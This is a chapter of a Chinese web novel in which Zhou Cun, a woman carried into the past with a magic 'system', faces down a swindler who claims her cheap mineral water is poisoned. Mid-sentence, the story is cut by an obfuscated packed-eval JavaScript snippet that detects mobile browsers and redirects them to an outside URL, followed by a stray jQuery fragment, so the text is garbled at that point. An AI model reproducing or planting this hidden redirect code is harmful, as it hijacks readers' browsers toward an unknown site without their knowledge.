周存撂下狠话,便带着巧儿去了房车上。
巧儿见周存气的呼哧喘气,便从冰箱中拿了一瓶可乐来。
“娘,不气不气。”
巧儿一张小脸上满是担忧,周存见状立即扯起了唇角。
“乖,娘不气。”
“娘,你在强颜欢笑。”
周存正仰头喝可乐,差点被呛着。
“你都跟孙小宝学的什么乱七八糟的?”
孙小宝是孙平的儿子,比巧儿大一岁。
近日两个年纪相仿的孩子走的很近。
巧儿不知失言,捂着嘴乐呵起来。
这么一打岔,周存的怒气消散了大半。
按照杨家人自私的性子,这两天估计要有一场硬仗要打。
“叮”
突然,系统提示音想起。
但凡和杨家发生冲突,便会有奖励。
方才的积分已经到账。
现在系统提示音还会响起?
“提醒宿主,系统要进行版本更新,为期时间是三日。”
“在此期间,系统的功能则没法使用。”
“还望宿主提前做好准备。”
一大段注意事项显示在周存的面前。
她仔细看完,猛的站起身来。
这三天之内,她不能动用系统做任何事。
而杨家可能在这几天反扑。
食物是必备的,她从系统中兑换了很多米和水。
房车内放不下,她就暂时放在了空间内。
只不过空间实在是太小了。
她便用系统中所有的积分都兑换了空间。
现在,空间扩大到一百平方。
里面放满了吃食还有之前兑换的手枪。
好在空间是独立在系统之外的,能正常使用。
房车功能已经升级完毕,不受系统控制。
这三日,卖水就得停止。
在脑海中反复推演了多次会发生的情况,周存这才停下来。
巧儿并不理解周存在车中来回转悠,但她尊重。
确认没有任何遗漏之后,周存便嘱咐巧儿,谁都不可以进房车。
否则房车的秘密将会暴露。
虽然巧儿打不开房车,还是要防患于未然。
晚间吃饭,杨家人没有叫周存和巧儿。
娘俩儿乐得清静。
晚上吃的是可乐鸡翅。
巧儿吃的急头白脸,周存吃的意犹未尽。
她瘫在沙发上打着饱嗝。
以往她不明白为何吃喝放在飘堵前面。
现在,她总算是有所感悟。
能吃好吃饱属实是一大幸事。
这几天忙的团团转,今日终于能睡个好觉。
自从穿来之后,周存觉得自己的睡眠质量好的太多了。
主要是没有网络和手机,她就算是想干什么也干不成。
不知道以后能不能跟系统商量商量,帮她搞一部手机。
刚萌生这个念头,她便连连摇头。
上次因为要可乐,实习系统被撤职。
这才可不要连累系统才好。
翌日,周存是自己醒来的。
是的,没有任何人打扰。
包括习惯早起的巧儿。
周存伸了个懒腰,突然有些不适应宁静的日子。
直到她带着巧儿来到前厅县衙,才有了些烟火气。
人声鼎沸,热闹非凡。
不过很快,她便意识到不对劲儿来。
县衙热闹不是什么好事儿。
这般想着,她嘱咐巧儿去找孙小宝玩。
安顿好巧儿之后,她才朝县衙前走去。
此时,正好有人大声吆喝。
“昨日我喝了这矿泉水之后,肚子发胀,浑身无力。”
“这里面指定是加了慢性毒药,喝的时间长了不就一命呜呼了?”
一个鼠头獐目的小个子男人正唾沫纷飞的控诉。
孙同和杨三娘正站在县衙门口安抚民众。
小个子男人身后大约有十来个人应声附和。
“章伞,你别在这胡搅蛮缠。”
孙同大声呵斥他,面上因为愤怒有些涨红。
“这些水来之不易,若是你不珍惜,有的是人珍惜。”
“再说了,为何别人喝了没事,就你有事?”
章伞?
张三。
原来小个子男人叫张三。
杨三娘对孙同说的话表示赞同。
“章伞,别以为我不知道你之前干的那些勾当。”
“你之前因为吃了糕饼噎的慌,因为吃了馄饨胃疼,因为吃了饭菜干哕,现在又说喝水肚子疼。”
“竟然敢讹到老娘头上。”
百姓议论纷纷,“原来是个惯犯。”
“我知道,上次趁着人家馄饨摊刚开业,吃了人家两大碗肉馅馄饨不想给钱,就吵着胃疼。”
“馄饨老板开门做生意,为了息事宁人不仅没要他的饭钱,还倒贴了五十文钱。”
周存闻言了然。
原来是个老碰瓷家。
以往老板可能想着不惹事助长了他的嚣张气焰。
这次竟然讹到杨三娘头上,真是不要命了。
章伞笑嘻嘻的说道。
“大人,咱们也不是想捣乱,就是这昨日买水花了二十文钱。”
“这才没钱看病。”
话里话外的意思,便是想要回买水的二十文钱。
果然是个上不得台面的东西。
杨三娘怒极反笑。
二十文钱不多,就是膈应人。
若是她拿了二十文钱,便是应了章伞那句水有问题。
“夫人,既然这位小哥说他因为喝水肚子疼,不防让大夫看看如何?”
周存穿过人群,来到了杨三娘的身旁。
身着素布,衣袂翻飞。
明明民妇打扮,身上散发出的气场却让人不敢多看一眼。
杨三娘见她过来,心下明了。
原先想着周存因着处境会站在暗处。
现在看来,她的野心不只是卖水。
几人如此,走到明面上是迟早的事儿。
“这位是水行周老板。”
杨三娘向百姓们介绍,“这次的矿泉水便是她卖给咱们的。”
原先十文钱一斤的水,能被压到一文钱一斤,周存在百姓心中的地位猛然上升。
“周老板是个仁义的。”
有人肯定周存的义举,也有人怀疑。
“别的水行都卖十文钱一斤水,为何她卖一文钱一斤?”
“便宜没好货,若是说这水没有问题,谁信?”
章伞摸着唇边两缕胡子,更加嚣张。
“百姓们不是傻子,能让你们随意糊弄。”
随后,他满脸堆笑朝杨三娘抱拳施礼。
“夫人,咱来这里不是为了找你和大人的麻烦。”
“如今水行真正的老板现身,就让她来解决吧!”
章伞的举动,周存看的明白。
他不敢得罪官府,便想拿周存这个商人来开刀。
她心中的气血翻涌。
冷气从脚底板涌上了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790234|210244||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
脑袋。
幸好她有系统,这些水不花一文钱。
若真是换了好心的商人,卖低价做好事被人冤枉,还不得亏到姥姥家去。
如此想着,周存怒气更盛。
“章伞,我且问你。”
“你几时喝的水,又是几时腹胀,又是几时浑身无力?”
“你看大夫了吗?”
章伞见状,挺直了腰板。
“我昨日将水买回家就喝了水,喝完水就浑身无力。”
“至于你说的看大夫,我家穷,看不起病。”
说完这话,他洋洋自得。
只要不说看大夫,周存便找不到人对峙。
反正他吵着浑身无力,旁人根本没有办法断定。
“哦?”
周存眼中闪烁着笑意,“你不看大夫,怎知我这水里放了慢性毒药?”
“这......”章伞没想到不看大夫也成了破绽。
“我看这章伞没病装病,故意说慢性毒药吓唬大家伙呢!”
有人顺着周存的话说了下去。
另外也有人附和。
“肯定是这样。”
“为何大家伙喝了水都没有问题,偏偏这个惯会吃霸王餐的有问题?”
“这章伞真是好大的胆子,竟然敢找县太爷的麻烦。”
“嘘,指不定背后有人指使呢!”
“咱们可不能跟着他胡闹!”
他们大声密谋的声音在场的人都听到了。
杨三娘更是气恼。
“说,是谁指使你这么干的!”
章伞一个腿软跪在了地上。
想不到这么快就露馅儿了,他还想狡辩一下。
“夫人,我没说谎,我真是浑身无力来着。”
“浑身无力?”
杨三娘眼中闪烁着危险的光芒,“既然你说浑身无力,那就怪不得我了!”
“来人,关门放狗!”
章伞闻言,站起身来撒丫子往外跑。
谁人不知县衙养了两头凶狠无比的藏獒?
看着他狼狈逃窜的身影,百姓们纷纷笑骂起来。
“不是说浑身无力吗?”
“怎地比藏獒跑的都快了?”
“这是我见过史上判案最快的一次。”
“主要是章伞说话漏洞百出,根本没有任何依据。”
见主谋逃跑,剩下跟章伞一块来告状的人傻了眼。
他们走也不是,站着听人数落也不是。
周存看着尴尬的十几人,放声问道。
“章伞已逃,你们还有什么想说的?”
十几人见状纷纷跪在地上一个劲儿的磕头求饶。
“大人饶命,夫人饶命,周老板饶命。”
“是章伞鼓动我们来的。”
其中一人抬起头来,额头上的血顺着眉骨染红了眉毛。
“大人,是章伞说我们跟着来告状即使出了事儿,也是你们自家的事儿。”
“他说周老板是你亲戚,你一定会偏袒的。”
“到时候,你会出钱安抚我们了事。”
“我们听信了章伞的话才昏了头跟着来告状的。”
周存和杨三娘对视一眼,眼中皆是了然。
“这么说来,指使你们来县衙的是我们自家人?”
这人摇了摇头。
“我们并不知道实情,都是章伞让我们来的。”
翻来覆去都是这句车轱辘话。
眼见问不出什么有用的,杨三娘叫骂一声。
“已经有人去追章伞,很快便能知道谁是幕后主使!”